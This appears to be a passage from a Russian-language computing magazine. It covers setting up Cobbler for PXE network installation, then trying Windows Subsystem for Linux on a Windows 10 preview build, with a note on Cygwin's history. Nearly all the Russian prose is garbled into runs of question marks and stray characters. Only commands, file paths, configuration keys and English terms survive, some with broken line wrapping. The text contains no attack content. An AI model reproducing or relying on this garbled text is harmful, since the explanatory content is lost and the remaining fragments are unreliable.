?????? ???? ???????. ????? ?????, ?а/var/lib/cobbler ????? ????????? ???????, ?????????? ????????? ??а?а?????? PXE. ????????, ?аkickstarts ?????? ????????? ??????? ???????? ???а?????? Anaconda kickstart, ?аloadersа?
?????????? ?а??? ?????. ???а??????? ????? ??????? ?????? ?????? ????????
????. ?аRed Hat ????????????? ?????? ???? ????? ????????? ??а?????????
?а???????? ???????? root:
# cp /root/anaconda-ks.cfg /var/lib/cobbler/kickstarts/centos7.ks
?аUbuntu ??????? kickstart ?а???????????? ?????? ????????? ?а????????
pressed:
$ sudo cp -v preseed/*seed /var/lib/cobbler/kickstarts/
/mnt/preseed/sample.seed -> /var/lib/cobbler/kickstarts/sample.seed
????? cobblerd ????? ????????? ?а????? /etc/cobbler/settings. ?????
????????? ????????? ????????????? ?????? ???????? (TFTP, DHCP, Puppet,
Func, LDAP ?а??? ?????), ???????? ??????? ??аSMTP, ??????????? ??????????,
??????? ???????? ?а??????. ???? ?аYAML-?????????, ?????? ?????????????,
??????? ??????????? ?????.
?????????? ??????????? ?а????????? Cobbler ???????????? ???а??????
???-?????????? ?а?????????? ??????? cobbler. ??? ????????? ????? ?????????? ?аman-???????? ??? ???????? ?а?????? --help.
???-????????? ???????? ??а?????? https://server/cobbler_web, ?????
????? ??? ????? ???????? ?????? ?аXML-RPC http://server/cobbler_api.
?а???? ?????? ??????: Configuration, Resources, Actions ?аCobbler. ???????????? ?а????? ??????: ???????? ?????? ??? ????????? ?????????. ?а???-??????? ?а??????????? ??????? ???????? ???????? ?????????, ????? ?????? ????????? ????? ??????? ?????? ?а???????. ????, ????????, ????????? ???????
????? ??? ???????? ????? ???????? ?а??????.
????? ????????? ???а???????? ?????????? ??????????? ??????? ?а???????
????? settings ?????????? ????????? ??????? cobbler ?а?????????? check:
$ sudo cobbler check
???а?????? ??????? ?а????? ??????? ?????? ???????, ??????? ??????? ?????? ????? ?????????????? Cobbler. ?а?????? ???????? ?? ????? ????, ????
????????? ???????, ?????????? ????????? ??а?????????, ?????? ??????????
???а???? ?????????????. ??????? ??????????? ?? ??????? ?а????? ??????????
???????? ????????? ????????.
???????? ?????????? ???а?????? cobbler check
??а???? ????? ????? ???????? ??????. ???????? ?????????????? ???. ??????, лhttpd does not appear to be running and proxying cobbler╗, ?????????? ?а???
??????, ???? ???-?????? Apache ??? cobblerd ??а??????? (????????, ????????? ?а????????? ??-?? ??????), ???????? ?????? ???-??????? mod_proxy,
????? ?????? ??????????? ??? ?????????? ???????????? 80-? ??? 25151-?
????. ??????? ????????? ??????? ???????? ?а??????????? ????. ?аUbuntu, ????????, ?????? mod_python ?????????? ?а???? ????????????, ??а???????????? ?аmod_wsgi, ??????? ???????? ??? ?????????.
$ sudo a2dismod python
???????? ????? ????? ?а????? setting ?а??????????:
http_port: 80
xmlrpc_port: 25151
?????? ?????? ??????? ?а?????????????? ???????? ?????????????? ?аXMLRPC.
xmlrpclib.Fault:
<Fault 1: "<class 'cobbler.cexceptions.CX'>:'login failed'">
????????????? ??? ???????? ??????? ??????, ?????? ??????????? ????????
???????????? ???????? ??? ??????. ??а?????????? ?а??????????? ????????
????????.
??????? ??????
?? ????? ????????? ????????????? ???????? ?????/?????? cobbler/cobbler
???а??????? ????? ???-????????? ??? XML-RPC. ?????????????? ???????? ??????? ?????????: ?????/??????, PAM, Kerberos, LDAP, Spacewalk, ????
???????? (testing/testing) ?а???? ??????. ????????????? ??? ?а/etc/
cobbler/modules.conf. ??а?????????:
[authentication]
module = authn_configfile
?а?????? ?????? ???????????? ???? /etc/cobbler/users.digest, ?????
?а?????? ???а???????? ???????????? ???а???а?????? ?а???-????????:
$ htdigest /etc/cobbler/users.digest "Cobbler" user
?????? ??а??????? ??????. ???? ?????? ?????? authn_denyall, ??? ??????, ???
???? ????????????, ?а????? ???????? ?????.
??????, ?????????? ??а???????????, ??????????, ??? ??? ???????????? ????? ????? ????? ??????????????.
[authorization]
module = authz_allowall
??? ??????, ???? ?????? ????? ?а?????????? ?????????? ?????????????. ??????? ???????? ??аauthz_ownership, ?? ???????? ??????????? ?????????????
?????, ?? ???? ???????????? ???????????? ????? ????????? ?????????? ????? ??????. ?????? ??????????? ?а????? users.conf. ???, ??? ?????? ?а?????? admin ??? ?а?????? admins(, ????? ????????? ?????? ?????????. ??????
???а???? ???????? ??а????????? (?? ???? ???, ???а??????? ??а?????? ???????? ?????????? --owner ?а????????? ??????) ??????????????? ??????????
default_ownership ?а????? settings:
default_ownership: "admin"
???а????????? ????? ??а???аroot ???????????? ??????, ????????? ?а????????? (? ????????????? ????):
default_password_crypted: ""
??а????????? ??????а? cobbler, ??а??????? ??? ????????, ??????? ????? ????????? ??????????????? ???а?????? ??????? openssl passwd -1 MD5-???.
??? ??? ????????? ?а????? ??????? ????????, ????? ???????? ??а?????:
server ?аnext_server, ?а??????? ??????? ????????? IP-????? ??? ??? ???????. ??? ???????????? ???а?????? ??????? ????????? ?а???аPXE-????????.
server: 192.168.1.1
next_server: 192.168.1.1
?аUbuntu ?????? IP ???????? ?? ????? ?????????, ?аRed Hat ?????? ?????
127.0.0.1. ????? ????? ????????? ????????? ??????? ?????????? ??аlocalhost,
?а??а???????????? ??????? IP:
client_use_localhost=1
????? ????????????? ??? ????????? ?а???????? ??????. ???????????
?а bind_master ?аdefault_name_servers ???????, ??????? ????? ??????????????, ?а???????? ?????????? ??????? ?????????. ????? ????????? DNS
?аDHCP ??а????????? ?????????а? ?????? ?????? 0 ??а1 ???, ??? ??? ?????:
manage_dhcp: 1
manage_dns: 1
manage_tftpd: 1
??? ?????? ??????. ??а?????? Cobbler 2.4.0, ????? ???????? ?а???? ??? ????????? ?а/etc/cobbler/settings, ??????????? ???????????? ???????????? ??????. ?????? ??? ????????? ????? ??????????? ??а???? ???а?????? ??????? cobbler setting. ??а????????? ????? ??????????? ?????????, ?????
?? ????????????, ??????? ?????????? ?а1 ???????? allow_dynamic_settings
?а????????????? ?????.
??????? ??? ?????????:
$ sudo cobbler setting report
????? ????????? Cobbler
?а?????? ??????:
$ sudo cobbler setting edit --name=manage_dhcp --value=1
????? ????? ???????? ??????? ?а???? ?а????? ????????? ?а?????. ???? ????????? ?а????????? ?????????, ????? ?????? ??????, ??а???????????? ???????? ????? ????? ???????????????.
????????? ?????
???а???????? ????? DNS, DHCP, TFTPD, rsync ???????????? ??????? (?????
?а??????????? .template), ????????????? ?а/etc/cobbler. ???а???? DNS
?аDHCP ??а????????? ?????????, ??? ???а?а???? ??? ????? ???? ???????? ????? ??????, ?а??? ????? ?????????????. ???аBIND ?????? ?????????? named.
template, ???аDHCPа? dhcp.template, TFPTDа? tftpd.template ?а??? ?????. ??????, ????????? ???аPXE-????????, ????????? ?а/etc/cobbler/pxe/
pxedefault.template. ?????????? ??????? ???????, ??????? ????? ???????????, ?а??????????????? ????????? ?????? ??? ???? ??????? ?????????.
?а???????? ???????????? ??????????, ??а??? ????? ???а??????????? ?????
??????????? ???????? ?????????.
????? ???????? Cobbler
????? ?а/etc/cobbler/modules.conf ????????? ?а???? ??????? ??????, ??????? ????? ???????????? ????????? ???????.
$ sudo nano /etc/cobbler/modules.conf
[dns]
module = manage_bind
[dhcp]
module = manage_isc
[tftpd]
module = manage_in_tftpd
????????? ?????? TFTP ?а???????????????? ????? xinetd, ???а???? ?а/etc/
xinetd.d/tftp ????????????? ???????? disable ?аno. ???????????? ?????????? ???? ????????, ???а??? ??????? ?а????????????, ???а?????? chkconfig
??? update-rc.d.
????? ???????? ???? ????????? ?а??????? ?а???????????????? ?????
??????????? ???????
$ sudo cobbler sync
?а?????????? ????????? ?????? ???????????????, ???????????????? ?????
??????????? ???????? ?а????? ???????????. ???а?????? ????? ???-????????? ???????? ?????? SYNC, ??а????????? ??????? ?????????.
?????????????? ????? ???а????????????? ??
?????? ??? ????? ??????? ??????????, ????????????? ???????????? ??????,
???????? ???????????, ????? kickstart ?а??????? ??? ??? ?а??????? ?а???????.
??????? cobbler report ??????? ??? ???????????? ??, ??????, ?????, ??????????? (? ??? ??? ???? ?????).
??? distro Cobbler ??????????????? ????? ?????? ???а????????: ????
?а initrd (????????????), kickstart-????, ?????????????? ????????? ????
?а???????. ????????? ?????? ???????????:
$ sudo cobbler get-loaders
???????? ??????????? ????? ????? ?????????. ???а????????? ??????? rsync,
DVD, NFS ??? ?????? ??а????? ???????????? ???? import (? ???-??????????
????? лImport DVD╗).
?а??????? ??????? ????? ?????. ??????? ??????????? ????????? ??????
????????, ????? ??а???? ??????? ?а??????????? ????? ?????? ?????????????
(???? /var/lib/cobbler/distro_signatures.json ????? ?????? ??????????? ??????? ?аcobbler.github.io/signatures/2.6.x/latest.json):
$ sudo cobbler signature update
????????? ????? ?а?????????:
$ sudo mount ./ubuntu-desktop-amd64.iso /media/iso -t auto -o loop
$ sudo cobbler import --name=Ubuntu16_04 --arch=x86_64
--path=/media/iso
???? ?????? ??????? ?а???, ??? ????????????? ????????? ??? ????????? ??????????, ?а??? ????? ?а?????? ?а???????.
??????????? ???????????
????? ?????????, ???? ??? ????????? ?????? ??????????, ????????? ?а???
?а????????????. ??а????????? ????? ????????? ??? ??? ????: ??????????
????????????, ?а???????? ???????? ????????? ???????, ???????? ?????????? ?а???????????? ?аkickstart-??????. ????? ?????????? ???????????? ??
????? ??????? ?а???-??????? ??? ?а?????? ??????? cobbler:
$ sudo cobbler distro list
$ sudo cobbler profile list
$ sudo cobbler report --name=Ubuntu16_04
???? ?????? ??????, ????????? cobbler sync. ??????? ??? ?? ??????:
$ sudo cobbler distro remove --name=Ubuntu16_04
?????? ??????? ???????? ????????????а? ????????????? ??????? cobbler
distro. ?????? ?а??? ????????????? ???, ??а?????? ????? ???????? ??????????? Windows-???????. ?а???? ?????? ??????????? ???? ?а???? ?аinitrd:
$ sudo cobbler distro add --name=string --kernel=path
--initrd=path [--kopts=string] [--kopts-post=string]
[--ksmeta=string] [--arch=x86|x86_64|ia64]
[--breed=redhat|debian|suse] [--template-files=string]
?а kopts ?????? ????????? (????????, --kopts="priority=critical
locale=ru_RU"), ksmeta ????????? ?????? ????????? ?аkickstart-?????, breed
????????? ??а??? ????????????.
????????? ????????????
???а??????? ISO Cobbler ??а??????? ???????????, ??????? ??? ??????, ??????? ??а??? ???????, ????? ???????? ???а????????? ?????? ????? ????????????.
???????????, ???????????? ???а??????? ?аDVD, ????? ??????????? ?а?????
???: https://cobbler_ip/cobbler/ks_mirror, ??а??? ??а??????????. ??????? ????????? ???????????? ???а? ??? ??????????? ???????????:
$ sudo cobbler repo add --name=local-xenial --mirror=
http://archive.ubuntu.com/ubuntu/ --breed=apt --arch=x86_64
--apt-components=main,restricted,universe,multiverse
--apt-dists=xenial,xenial-updates,xenial-security
??????? ?????? ????????????:
$ sudo cobbler repo list
??????? ????? ?аDVD, ?????? ???????? ??????????????, ????? ??а??????????? ??????:
$ sudo cobbler repo add --name=Ubuntu16_04_DVD_base --mirror=
https://cobbler_ip/cobbler/ks_mirror/Ubuntu16_04/
--keep-updated=N --mirror-locally=0 --arch=x86_64
???? ??????????? ?????????? ???????? ?????????? ??????, ??????? ???????
????????? ????? ????????????:
$ sudo cobbler sync
$ sudo cobbler reposync
???????? ??????? ?????????? ????????? ????? ?????? ?????????? ??????
??? ???????? ??? cron. ????? ????? ???????????? ?а/var/www/cobbler/repo_
mirror, ???????? ?????? ?????? ????? ?????????? ?????.
??????????? ??????? ?а??????? ???????
?а??????? ??????????? ??? ?????????, ???????????? ?? ????? ????????????? ???????, ?а????????? ????????. ?????????? ?????? ?а????????? ?????,
????? ???????
$ sudo cobbler profile list
$ sudo cobbler profile report --name=Ubuntu16_04
????????? ???????
??????? ????? ??????????, ??????????????? ?а?????????????:
$ sudo cobbler profile copy --name=Ubuntu16_04 --newname=Ubuntu-server
?????? ?????????? ??????? ??????? ???а?????? ???????а? ????????, ????
kickstart-????:
$ sudo cobbler profile edit --name=Ubuntu-server --kickstart=
/var/lib/cobbler/kickstarts/sample.seed --repos="local-xenial"
E??? ?аsettings ???????? yum_post_install_mirror ?????????? ?а1 (??
?????????), ??????????? ????? ???????? ?а??????? ?а????? ?? ?????????.
??а?????? ?????? ??? ????? ????????? ?????????? ??????. ?а????????
PXE-???????? ????? ???????? ????, ??а???? ????????? ??а????? ???? ????????? ????????? ?????????.
??? ???? ???????а? ????? л???????╗ ???????, ?а??????? ??????? ???????
?а????????? ?????????, ?а???? ?????? ????????? ???????????? ?????????????. ?????????? ????? ?????? ?????, ??а??? ??? ???????????:
$ sudo cobbler system add --name=SRV01 --profile=Ubuntu16_04
--kopts="interface=eth0" --hostname=example.com --interface=eth0
--ip=192.168.1.2 --subnet=255.255.255.0 --gateway=192.168.1.1
--name-servers=8.8.8.8 8.8.4.4 --mac=11.22.33.44.55
????????? --ip= ?а--hostname= ??????????????? DHCP-??????, ??????????? Cobbler, ??????? ????? cobbler sync ?????? ??????? ??? IP-?????.
???а????? ??????? ????? ????? ?????? ????????? ???????????????? ????
(??? ????????????? ???-??????) ?а???????? /var/lib/tftpboot/pxelinux.
cfg, ?? ??????? ???? ???а????? ??????????. ???, ??? ??а?????? ???а???????,
????? ???????? ???? default.
??????????????? ????????? ??????? ????? ???а?????? ??????? cobbler
system edit. ?????? ????? ???????? ??????????? ?????? ?а???????? ?????:
$ sudo cobbler system list
$ sudo cobbler system report --name=SRV01
????????? ??????? ????? ???-?????????
?????? ?????-?? ????????? ??а????? ???? ????????? ??а????, ???????? BIOS
??а???????????? ????? ???????. ?а???? ?????? Cobbler ?????????? ??????????? ???????? ISO-??????, ??????? ???????????? ???????? ?/??? ?????????
??????. ??а???????? ?????? ???????? ??????? cobbler buildiso. ???а?????????????? ?????????? ?а???? ????? ???????? ??? ???? ?аinitrd-?????, ????????? Cobbler, ?а????????????? ????. ????? ???????? ?????????? ??? ????? ????? ?????????? ?а??????? Cobbler. ????? ????? ????????????? ?????
?????????? ???????, ???????????? ??? ???????, ?а???? ???????? ????????
--standalone, ????? ????????? ?а??? ?????, ??????????? ???а????????????? ???а??????? ?аCobbler:
$ sudo cobbler distro list
$ sudo cobbler buildiso --distro=Ubuntu16_04 --standalone
?????
??? ?????? ???????? ??????????? Cobbler, ??а???????????, ????? ?????? ??????. ?????????? ?аPuppet ?аFunc ???? ?а???? ??? ????? ?????? ??????????
??а????????????? ??.
SYNACK
WINE
????????
WINDOWS SUBSYSTEM
FOR LINUX
???а??? ????
????? ?????
temazorin@hotmail.com
??????? ?????? ?????????? Microsoft ??а????????
????? ???????????? ???????? ??аLinux, ???а?а?????????
???????. ????????? ?????? Microsoft Windows 10 Build
14316 ???а????????????? (developer release) ?????????
?аCanonical (!) ???????? ?????????? Linux. ??? ??а????????
?а??а??????????? ??????, ?а??????????? ???????? Linux,
?????????? ?????? Windows 10,а? Wine ????????!
???а??? ?????????
30 ????? 2016 ???? ??а??????????? Build ???а????????????? Microsoft ???????? ?а?????? ????????? ?????????? ?????????????? bash ?аWindows 10. ?????? ???????? (Dustin Kirkland) ??а??????? ????????????? Ubuntu ?а????? ????? ??????? ????????? ??????????? ????? ????????? ???????. ??????? ??????
?????????? ?????????? ???????????? ???а????????????? ??????????? ?????????????, ????????? ?????????? ?????? ?а???? ???а????????????? ????
Linuxа? ?????? ??????????? ????? Linux ??????????? ????????? ??????????? ?????????, ??а???? ????????????? ????????? ?????? Linux ?а?????????
?????? Windows. ??а????, ?????????? ???????? ?????? ??????? Wine, ?????????? ???????? Windows Subsystem for Linux (?????а? WSL) ?а????? ??????????? ??а???????? ??а?????????????????? ??????????? ?????????? Linux.
????????? ????? ????а? ??а????? ??????????? ??????.
???а?????? ????? ?????????? ?????? Windows 10 14316а?
????????????????? ?????? Windows 10 ???а????????????? ?а?????????? ????????? Windows Insider. ??????????
?????? ?????, ??????????? ??а??? ??а????? Windows.
???а???? ????? ???? ?????????? ????????? Windows
INFO
Insider ?а??а?????? ???????? ?а?????????? л???????╗ ???????! WSL
??????? ????????????????? ??????. ????? ???? ???????????????????
??? ??????? ??????? ISO-????? c ?????????. ???? ???????
?а???????? ??????
??а?????? ?????? ???????? ??????????, ?????? ??? ??а???.
?а64-?????? ???????
????????????????? ?????? Windows 10 ??????????????Windows.
?? ????????? ???а???? (????? ???аLinux!).
????? Microsoft ??????? ????????? ??????? ?????????? ???аWindows 10
???? ??????, ??????? ??а????????? ????? ???????? WSL. ????? ?????????
Windows 10 Build 14316 ?????????? ?????????? ??????????? ????? Ubuntu,
????????? ??аMicrosoft Store. ????????? ?????? ?????, ???????????? Windows
10 ?????? ????? ???? л????╗ ??????? ????????? ???????? cmd.exe, ?????????
?а??? bash ?а???????? ??????? ????????? ????????? ?????? Ubuntu. ???????????? ???????? apt, ssh, rsync, find, grep, awk, sed, sort, xargs,
md5sum, gpg, curl, wget, apache, mysql, redis, python, perl, ruby,
php, gcc, tar, vim, emacs, diff, patch ?а??????????? ???????? ??????? ??а?????? Ubuntu, ?????????? ?????????? ?а????????? ??????????.
???а???? ????????? ?????????? ???? ???????? ??????????????????, ???????? ??-?? ???????? ???????? ????????? VT100 ?????????? ????????????
byobu, screen ?аtmux.
?????????? Ubuntu ??????????? ?а????????? ????????????? ????????
???????, ??????????? ??????????? ???????? ???????? ?аLinux. ????????
??????? Windows ???????? ??а?????? ?а????? ????????, ????????????????
?а????? /mnt. ????????, ????? C:\Users\Kirkland\Downloads ???????? ???а/
mnt/c/Users/Kirkland/Downloads.
???аWindows-?????????? ???????? ???????? ??????? Ubuntu ?????
???а C:\Users\Kirkland\AppData\Local\Lxss\rootfs\. ???а????????? ?????????????? ??????? ?а?????????? ??????? ??????????? ??????????????
apt ?а????????? ??????? ??????? ?а?????????? ??а???????????? Ubuntu. ???
????????? ???? ???????? ???????? (??????? ?а???? ?????? ??? ?????????,
?а??а??? Ubuntu, ???????).
WSL ??????????? ???а??????, ??????????? ??а?????????? ?????????????
Linux. Ubuntu ?????? ???а???????? ?а?????? ?????? ???а???????? ??????????
??????????? ?а????? ?????????????, ?а??? ???????????? ??????????? ??????
(????? ?????? ?а?????? ?????????? ????????? ???????), ??????? ????????
?? ????????? ???????????????? ????????? ?????? ????????????? ?а???????,
?????????? ?аMicrosoft. ???аWSL ?а???? Windows ???? ?????????? ??????????? ????????? fork() ?а????????? ?????? ??????????? ????????? ???????
POSIX ?аLinux, ??? ????????? ???????? ?????????? ????? ???????????, ???
???а????????????? ????????. ????? ?аWSL ??????? ????????? ??????????
??а????????????? ???? Linux: ??а????, ???????????????? ????????? Ubuntu ???????? ?????? ???? Windows, ??? ?? ???а?аNexenta OS ???????????????? ????????? Ubuntu ???????? ?????? ???? OpenSolaris.
WSL ??а?????????? ??а????? ????????? ?????????? POSIX (SUA), ???????
?аNT 3.5.1 ????????? ???? ??????????? ????? ????????? ??????? ?а??????? ???? ???????? ??а??????? Services for UNIX (SFU), ?????????? ??а?????????? Interix. WSL ???????? ????????? ????? ???????????, ??а?????????
?????????????? ???????? ??? ?????? ??????????? ?????????????. ?аWSL
???????????? ????? ?????????????? ???? Windows, ??????? ????????????? ???? ????????????? ?аLinux syscall API
?а??????????? ?????????, ??? ????????? ???????? ?????????
??? ???????????? ?аUbuntu ?????????????????? ??????????? ?????, ??? ?? ???а??????????? ??????? ?????????
???аWindows. ??а????, ???? ???? ?а????? ????????? ???????WWW
??? ????????? ??а???? ?а??????.
????????? ??????????? ?????????? ??а???????????. ????? ?????????
?а???????????
????? ????? ????????? ????????? ??????????, ??а??????????????????
?? ?????? ??а?? ????????????, ??? ??а????????????? ??????
?аWindows 10
Linux-???????? ???а????????????? ??????????. ?????? ??Insider Preview
??а?????? ???
????? ?????? ??а?????????????? ?????????????? ?????????
?????? ???а?????????????.
Ubuntu Bash ?аWindows 10 ?? ???? ?????
??????? ??а?????????
????? ?????? ???????????? WSL ?а????????? ??????: ??????? ????????????? ??а???
???????? Dell Inspiron л???????╗ ???? ????????? ??аWindows 10. ??? ?????? ????? ???? ????? (?? ?????? ??????? ??а???????? ?????? ?а??????? Microsoft). ????? ???? ??????? ????????????? ??????? ????????? ????????? ???????? ?????? Windows 10 Build 14316. ???? ?а???, ??? ????? ??????? ??а??? ????-????????
Windows 10 ?а??-?? ????? ??а??? ??????????? ?а????????? Windows Insider. ??????? ?????, ??????????????????? ??а????? ???а????-????????, ?? ??????????
??????????. ??а???-?? ????! ??????? ?????? ??а?????? ????, ??? ?? ?????????
?а????????????. ?а???? ?? ??а???? ?????????? Windows 10
??а???????????????. ????? ?????? ??? ??????? ???? ??????? ??????? ??????? ?а?????????? ????? ???????? ??????
л???????╗ ?а????. ??а?а??? ???? ?????????? ???????: ?????????? Microsoft ?????????????? ?????? ????? ????????????????? ?????? ?а???? ??а??????? ISO-??????, ?а???INFO
??? ?????? ???????, ?????????? ????? ?? Microsoft,а? ESD
(Electronic Software Distribution). ???????? ??????? ????
???? ??????, ?????
??а????. ????? ?????????? ?????? ??????? ???? ?? ????WSL ?????????,
?????? ?????????????? ?а????? ????????? ?????? ISO.
??????????
??????????
???а????? Microsoft ????????? ??????????? ???????, ?????????????? ????????
??? ?????????? ESD Decrypter. ????????? ??а???? ???????????? ???а???????,
??? ???????? ?????? ???????? ???. ?????? ??? ???? ?????
?а????? ???????
??????????
?????? ??????????????? ESD-????? ISO-????? ??? ??????а???????? ?????
?? ?????? ?а??????? ?а??????? ??????? WinSetupFromUSB
??а?????????. ?????
??а??????. ????????? ?????? ???а???????, ?а??????? ?а??WSL ???????????,
??а??а??????????!
???? ???? Windows 10 Build 14316.
?????????? Ubuntu ??аWindows Store
????? ??????????? ????????? ???а?????????? Windows Insider ??????? ????????? ??????????? ?????????? System Settings
Advanced Windows Update.
????????? Windows Insider
?????????? ??????? ??а???????????? ??????? ????????????? ???????? ?????
?????????? (the fast ring), ?????????? ???????? ?а?????? ?????? ?????????.
??? ????? ?????? ??????????!
????????? ????? ???????????? (developer mode).
?????? ?? ????????????
??????????? ???????? ??????? ??????????, ?????????????? ??? ?????????
?????????? ?а?????????????? ???????.
????????? ?????????? ?????? ????? ???????
????? ???????????? ????????? ????? Windows Subsystem for Linux
(Beta). ???а????? ??а?????? ????? Windows ????????? ?????? ?????? ?а??????? windows features.
?????? ??? ?????????????? ???????. ?а???? St?rt ????????? bash, ?????????? bash.exe, ???????????? ?а????????? ????????????? ???????,
????? ????????? ???????? ??????????? Ubuntu ?а????????? ????????????
??????????? ????????? ?????? Ubuntu ?а???????????? ???????? ??????.
Linux ?аWindowsа? ???
??а???, ??? ????
Linux ?аWindowsа? ??? ??а???, ??? ????
Linux ?аWindowsа? ??? ??а???, ??? ????
Linux ?аWindowsа? ??? ??а???, ??? ????
???а????????????? ????????????? ???аUbuntu
?????? ?а??????? ?????????? ????? ? ?????, ?????????? ??аzip-??????
UbuntuMono-R.ttf ?а?????????????? ??? ????? ???????
???? ?а??????????. ?????
??????? ????????? ?а???????, ????????? ????????
H K E Y _ L O C A L _
MACHINE\SOFTWARE\
Microsoft\WindowsNT\
CurrentVersion\Console\
TrueTypeFont ?а????????
Ubuntu Mono. ?а??????????
??????? ???????? ?????
Ubuntu.
P. S. ???????? ??? ?????????, ?????? ???????
??????? ???? ???а????????
?а???????.
????? Ubuntu ???????? ????? ?????????
?а????????, ??? Lucidia Console
???а??? ?????????
???????: ???? ??а????? ?????? ?а????????.
???а??? ?????????? ?????, ???а??????? WSL ????? ????????? ??????????
????????? ??????? Windowsа? cmd, ??????? bash, ?а????? ????? ????????? ????????? ???????? Linux. ?????? ????? ???? ?????? ???????, ??? ???????? ?????? ?????????? Linux ????????? ????, ??? ?????????? Windows. ??а???????????????? ???????? ???????????? ?а??????????? Midnight
Commander, Finch (???? Pidgin, ???????????? ?а??????
?????????? ncurses), top ?аhtop. ??????? ?????????? ???
????? ??????????????? ????????? ??????????. ?????
?а???????????? ???????, ??? WSL ???? ??а????? ???а????????????? ????????????? ???? ??????????????. ???,
WARNING
??????, ????????????????? ?????, ??????????? ?????????? ??????????? bash ?аWindows. ?а???? ?? ????? ???????! ??? ????????
???????? ???? ????????? ????????????? WSL ????????? ?аWSL ??????????? ??????? ????а? ???????? ??а??????????? ??? ???????? ????
??????????? ??а????!
????????? ??? ???????.
??????? ???? ??????? ?а?????????. ????? ??????????????/????????/??????? WSL, ????? ?а????????? Windows (cmd) ?????? ????? ??? ???????:
# lxrun /uninstall /full -- ????????? ??????? WSL
# lxrun /install -- ????????????? WSL ??????
???????? ?а?????????? ????????????? ???????? ????? ????????
?????? ???? ?????????, ????????? ?????? ?а????????? ???????? ???????????? ?????????? ?????.
???????? ??а????????
????, ?????. ??????????? ??????, ?????????????? ???????, ???? ????? ?а????? Arch Linux.
?????? ??????????, ?????????? ????????? ???????? ?????? WSL, ?????? ??? ????? interbench, ??а?? ??а???????????, ????????? ??? ??? ?а???????????? Ubuntu. ??????? ??????? ????? HardInfoа? ???????, ???????????? ???
????????????? ?????????? ??а?????????? ???????????? ??. ?а????? ????
???????? ?????????, ???а???????. ??а????? ????????.
HardInfo ?а????
?????? ???????????? UnixBench. ?????? ?а?? ??а?????. ????? ??????.
????????? ????????? ????? ???????????? ??а???????????.
??????? ????? ?????????????? ??а????????? ?а???????????? ??????????
?????????? Linux. ?????? ??? ??????? ?а?????????? Finchа? ??????????
?????? Pidgin ??а?????? ?????????? ncurses. ?????????? ??а????????? ?????? ?а???а??????? ???????????? ?а???????????. ??????? ???? ????????? ??????????? ?а???? ICQ ?а?????????? ?а????? ??????? ??а????? ???, ??? ??а???
??? ?????????? л?????╗. ???????????? ???????? ?а???, ??? WSL ???? ??а???????????? ????????????? ??????. ??????, ???? ??а?????????. ??????? ???????? ???????? ????? ??а?????????. ????? ?????????? ?а1996 ???!
??? ???????? Finch ???аWindows
????????? ??? ????????????? ??????????? Midnight Commander. ????
????????????? ?????????? ?????????? ??????????, ???? ????????? ??а?????? ?????????? ncurses, ??????????? ????? ???а???????. ?а???????. ??а?????,
?????, ????? ????????. ???????? ???????????-??????????? ???????????
??а??????? ??а???? ???????? 200 ????? (?????). ????????? ??? ????? ????????????. ??????? ??????, ??? ??? ????? ???? ???? ???????? ?????? ?а?а???????????? ?????? ??? ????? ??????????.
?????? ?????? Midnight Commander
????????? ??????? ???????? ?????-????? ??????. ?а????????? ???????? ??????? Microsoft ????? ?а?????????? ????? ???? ??????? ???????, ??? ??????. ????? ??? ??????? ??????? Linux, ????? time ??? cal, ???????? ????????, ??а????
?а??? ???????? ???????????. ??? ?? ??? ??а??????????? ????? Linux. ???? ??
??????? ??????? ????????? ???????, ??а?????, ?а?????????, ??а???????????.
?????????? ??????? ???????? Linux ?аWindows
?а??? ?? ???? ??аWindows Subsystem for Linux? ?????: ???? ??????? ????????
????????? Linux ?а????? Windowsа? ?а?????????? ??????? ??а?????????? ???
21 ????. ????? ??????????, ??????????, Cygwinа? UNIX-???????? ????? ?а????????? ????????? ?????? ???аMicrosoft Windows. Cygwin ???????????? ??????
?????????? ??????????, ?????? ?а???????? Windows ?а????????????, ???????
?а????????? UNIX-???????? ?????. ??а????? Cygwin ????? ????????? ???????
?????????? Linux, ????? ????? ???????????? ??????????? Cygwin ??аWindows.
?????? ?а??????? ??аWSL ???, ??????, ??? ?? ???????? ??? ???? ?????????
???а????. ?а??а?????????, ????????????? ????????? ?????? Windows ?аLinux.
?????????? Cygwin ????????????? ???????? Cygnus Solutions, ???????
??????? ????????? Red Hat. ??? ????????? ??, ?????????????? ??? GNU
General Public License ?????? 2. ?а????????? ????? Cygwin ???????????????
???????????? Red Hat, NetApp ?а?????????? ????????????. ???????? ?????????????? ??????????? ?????????? ????? ?аMicrosoft ?а????? ?????? Services
for UNIX, ?????????? ?а???? ?????????? Interix, ?аSubsystem for UNIX-based
Applications (? ????? ????? ???????).
Cygwin ???????????? ????? ?????????? ???а???????????? ??аUNIX
?аWindows ?а??????????, ??????? ????????? ????????? ??????????? ???????????????? POSIX ??а?????? ????????? ??????? Win32. ????? ????, Cygwin
???????? ?а???? ??????????? ?????????? GNU ???а?????????? ???????? ????? ????????????????, ?а????? ?а????????? ?????????? ?????????, ????????????? ??????? ?????????? UNIX. ?а2001 ???? ?аCygwin ??? ??????? ?????
X Window System. ????? ????, Cygwin ???????? ?????????? MinGW, ??????????? ???????? ?а??????????? Microsoft MSVCRT (Windows API); ??????????
MinGW ????? ????????????? ?а?????? ??????????? ?а???????? ??????, ???????????????? ??? ????? ????????? ????????? ?а????? ???????? ?а?????
??????????? ????????????, ??а?????????????? ??????????? ???????????? POSIX ??????????? ?а??? ??а??? ?????, ???а?аCygwin.
?????? ??? ???????? Cygwin ???? ?????? ?а1995 ???? ?????? ??????????? (Steve Chamberlain), ????????????? Cygnus, ??????????, ??? Windows
NT ?аWindows 95 ?????????? ?а???????? ??????? ????????? ?????? ??????
COFF. ?а???? ??????? ?аGNU ??? ???? ??????????? ????????? ??????????? x86, COFF, ?а????? ?????????? ????? C newlib; ????? ???????, ??а???????
???? ????????????, ??а???????????? ??????????? ???????? ??аGCC ?????-??????????, ??????? ?? ???????? ??????????? ????? Windows. ??? ?????????
????????? ?а??а????????. ?????? ???????? ????????.
????????? ???а? ????????? ?????????? ???????? ?аWindows, ??а???а?????
???? ?????????? ???????? ?????? ??????? UNIX: ?а???????, ?????? ????????
?????? GNU configure. ???? ?????? ????????? ?а???????? ???? bash, ???????,
?а???? ???????, ??????? ??????? ??????????? ??????? ?????-?????? ?а?????????? ?????? fork. Windows ??????????? ????????? ??????????????? ?????????????, ?а?????????? Cygwin ???? ??????????? ??????, ????????? ??а????????,
???????? ????????????? ?????? ??????, ?????? ???а???????? ???????????.
?а1996 ???? ?а??????? Cygwin ?????????????? ?а?????? ????????????, ???
